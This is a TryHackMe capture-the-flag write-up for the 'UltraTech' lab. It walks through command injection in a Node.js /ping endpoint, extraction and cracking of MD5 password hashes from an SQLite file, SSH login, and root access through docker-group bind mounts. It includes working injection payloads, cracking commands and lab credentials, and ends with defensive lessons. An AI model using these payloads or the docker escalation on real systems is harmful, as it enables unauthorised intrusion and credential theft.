Back to CTF Writeups

UltraTech — TryHackMe CTF

Command injection in a Node.js REST API leaks an SQLite credential database. MD5 hashes cracked via rockyou give SSH access to a user in the docker group — instant root via filesystem mount. Fully automated bash exploit chain.

TryHackMeMediumApr 20260xb0rn3 | oxbv1

Overview

Four-service target running FTP, SSH, a Node.js Express REST API on 8081, and Apache on a non-standard port 31331. The API's /ping endpoint passes user input directly to exec() without sanitisation, giving immediate RCE as www. From there, the SQLite credential database is read via the same injection vector, MD5 hashes are cracked offline, and SSH login lands in a session where the user is a member of the docker group — a one-liner bind mount escalates to root.

Nmap → API enum (Gobuster) → /ping?ip=`id` → RCE as www → find *.sqlite → strings /home/www/api/utech.db.sqlite → MD5 hashes extracted → john + rockyou → n100906 → SSH r00t@target → id: docker group member → docker run -v /:/mnt bash cat /mnt/root/.ssh/id_rsa → ROOT

Reconnaissance

PortServiceDetail
21/tcpvsftpd 3.0.5FTP — nothing useful anonymous
22/tcpOpenSSH 8.2p1Ubuntu 20.04
8081/tcpNode.js ExpressUltraTech API v0.1.3
31331/tcpApache 2.4.41Main website (Ubuntu)

API Route Enumeration

Gobuster against port 8081 finds exactly two routes: /auth (authentication) and /ping (the vulnerable one). The /ping route is documented in the JS source as a utility that runs the system ping binary against a provided IP — no input validation at all.

gobuster dir -u http://TARGET:8081 -w /usr/share/wordlists/dirb/common.txt -q
# /auth   (Status: 200)
# /ping   (Status: 200)

Exploitation — Command Injection in /ping

The ip parameter is passed raw into a shell exec call. Backtick subshell syntax executes arbitrary commands and returns their output in the response body:

curl 'http://TARGET:8081/ping?ip=`id`'
# → uid=1001(www) gid=1002(www) groups=1002(www)

Step 2 — SQLite Database Discovery & Extraction

Using the same injection channel to locate and read the credential database:

# Find the database file
curl 'http://TARGET:8081/ping?ip=`find / -name "*.sqlite" 2>/dev/null`'
# → /home/www/api/utech.db.sqlite

# Extract readable strings from binary SQLite
curl 'http://TARGET:8081/ping?ip=`strings /home/www/api/utech.db.sqlite`'

Two credential pairs recovered from the database:

UserMD5 Hash
r00tf357a0c52799563c7c7b76c1e7543a32
admin0d0ea5111e3c1def594c1684e3b9be84

Step 3 — Hash Cracking

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# r00t  : n100906
# admin : mrsheafy

Step 4 — SSH Access

ssh r00t@TARGET
# Password: n100906
id
# uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

The docker group membership is the critical finding. Any user in the docker group can launch privileged containers with host bind mounts, effectively owning the host filesystem as root.

Privilege Escalation — Docker Group

A single docker run command mounts the entire host root filesystem into the container and reads root's SSH private key without ever needing the root password:

docker run -v /:/mnt --rm bash cat /mnt/root/.ssh/id_rsa
# -----BEGIN RSA PRIVATE KEY-----
# MIIEogIBA...  ← first 9 chars of key body

Why Docker Group = Root

The Docker daemon runs as root. Any user who can invoke docker run can launch a container with --privileged or -v /:/mnt, giving read/write access to the entire host filesystem. This is equivalent to passwordless sudo. GTFOBins covers this extensively — it's not a container escape, it's an intentional design that makes docker group membership a security boundary violation.

Root SSH Key [0:9]: MIIEogIBA

Flags & Answers

QuestionAnswer
Software on port 8081Node.js Express framework
Non-standard port31331
Software on port 31331Apache httpd 2.4.41
GNU/Linux distributionUbuntu
Number of API routes2 (/auth and /ping)
Database filenameutech.db.sqlite
1st user's password hashf357a0c52799563c7c7b76c1e7543a32
Password for hashn100906
First 9 chars of root SSH keyMIIEogIBA

Vulnerability Summary

#VulnerabilityImpact
1Command injection — /ping?ip=`cmd`RCE as www
2Plaintext MD5 hashes in SQLite, world-readable via RCECredential disclosure
3r00t in docker groupFull host root access

Lessons Learned

  1. Never pass user input to shell exec without sanitisation. Even "internal" APIs accessible only on non-standard ports are in scope. Allowlist IPs with a regex — reject everything else before the shell ever sees it.
  2. MD5 is not a password hashing algorithm. Use bcrypt, argon2id, or scrypt. MD5 is a checksum function — rockyou cracks it in seconds.
  3. The docker group is root. Treat membership identically to sudoers. Only system services that genuinely need it should be in that group — never interactive user accounts.